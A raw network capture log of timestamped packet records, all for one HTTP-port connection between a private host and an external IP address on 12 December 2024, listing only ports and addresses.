Dec 12, 2024 16:48:02.236140966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.236140966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.236995935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.237080097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.237086058 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.237149954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.239505053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.239573002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.239633083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.239759922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.241841078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.241902113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.242151976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.242208958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.244415045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.244487047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.244529009 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.244616985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.246819973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.246902943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.246921062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.246973038 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.249352932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.249453068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.249469042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.249500036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.251799107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.251905918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.251929045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.251957893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.254420996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.254473925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.254494905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.254524946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.256815910 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.256967068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.257141113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.257206917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.259301901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.259444952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.259485960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.259521961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.261754990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.261825085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.261853933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.261940002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.264245033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.264337063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.264341116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.264390945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.266757011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.266828060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.266997099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.267319918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.269258022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.269380093 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.269417048 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.269468069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.271692991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.271776915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.271778107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.271855116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.274204016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.274256945 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.274288893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.274339914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.276849031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.276855946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.276946068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.279146910 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.279208899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.279248953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.279298067 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.281663895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.281742096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.281766891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.281833887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.284133911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.284198999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.284312963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.284373045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.286689997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.286756039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.356189966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.356241941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.356301069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.356302023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.357439995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.357518911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.357563972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.357692957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.359931946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.360014915 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.360058069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.360119104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.362538099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.362621069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.362648964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.362699032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.364937067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.364999056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.365045071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.365076065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.367445946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.367525101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.367531061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.367585897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.369982958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.370057106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.370063066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.370119095 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.372705936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.372872114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.372951984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.374874115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.374950886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.375010014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.375117064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.377403975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.377480984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.377515078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.377573967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.379941940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.380001068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.380125999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.380253077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.382375002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.382431984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.382515907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.382569075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.384905100 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.385000944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.385023117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.385082006 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.387340069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.387398958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.387480974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.387586117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.389831066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.389925957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.389945984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.390022993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.392312050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.392371893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.392421961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.392421961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.394845009 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.394963980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.395031929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.397305012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.397433043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.397496939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.399848938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.399907112 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.399951935 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.400003910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.402364969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.402431011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.402496099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.402549028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.404786110 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.404858112 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.404901981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.404958963 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.407253027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.407332897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.407377005 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.407435894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.409790993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.409941912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.410010099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.411397934 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.411457062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.411462069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.411520004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.412786007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.412866116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.412866116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.412919044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.414210081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.414269924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.414411068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.414485931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.415664911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.415720940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.415750980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.415782928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.428036928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.428164959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.428210020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.428245068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.428636074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.428690910 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.428800106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.428945065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.430216074 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.430310965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.430351019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.430403948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.431610107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.431679010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.431721926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.431813002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.433285952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.433347940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.433368921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.433423042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.434501886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.434618950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.434676886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.437756062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.437834978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.438266993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.438275099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.438333035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.439331055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.439337969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.439389944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.440516949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.440553904 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.440567017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.440597057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.440624952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.442305088 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.442395926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.442611933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.442672968 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.443317890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.443377018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.443416119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.443476915 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.444760084 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.444915056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.444947958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.444977999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.446190119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.446248055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.446294069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.446343899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.447736025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.447815895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.447921038 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.448050976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.449187994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.449253082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.449372053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.449421883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.450728893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.450778961 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.450968027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.451044083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.452043056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.452099085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.452424049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.452478886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.453510046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.453598022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.453620911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.453649998 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.454950094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.455014944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.455058098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.455111027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.456484079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.456537008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.456551075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.456607103 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.458026886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.458077908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.458116055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.458161116 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.459361076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.459429026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.459454060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.459501028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.460822105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.460879087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.460912943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.460966110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.462310076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.462363958 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.462388039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.462433100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.463727951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.463787079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.463818073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.463907957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.476198912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.476281881 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.476311922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.476376057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.476963043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.477015018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.477054119 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.477112055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.478369951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.478430986 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.505594969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.505698919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.505811930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.505811930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.506262064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.506352901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.506397963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.506452084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.507735014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.507807016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.508282900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.508335114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.508476019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.508704901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.541965961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.542026043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.542092085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.542093039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.542737007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.542798042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.542869091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.542922974 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.544202089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.544259071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.544326067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.544383049 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.545655966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.545705080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.545717001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.545787096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.547169924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.547229052 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.547281027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.547367096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.548588037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.548645020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.548692942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.548754930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.550049067 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.550144911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.550163984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.550211906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.551878929 CET	80	49819	80.82.65.70	192.168.2.11
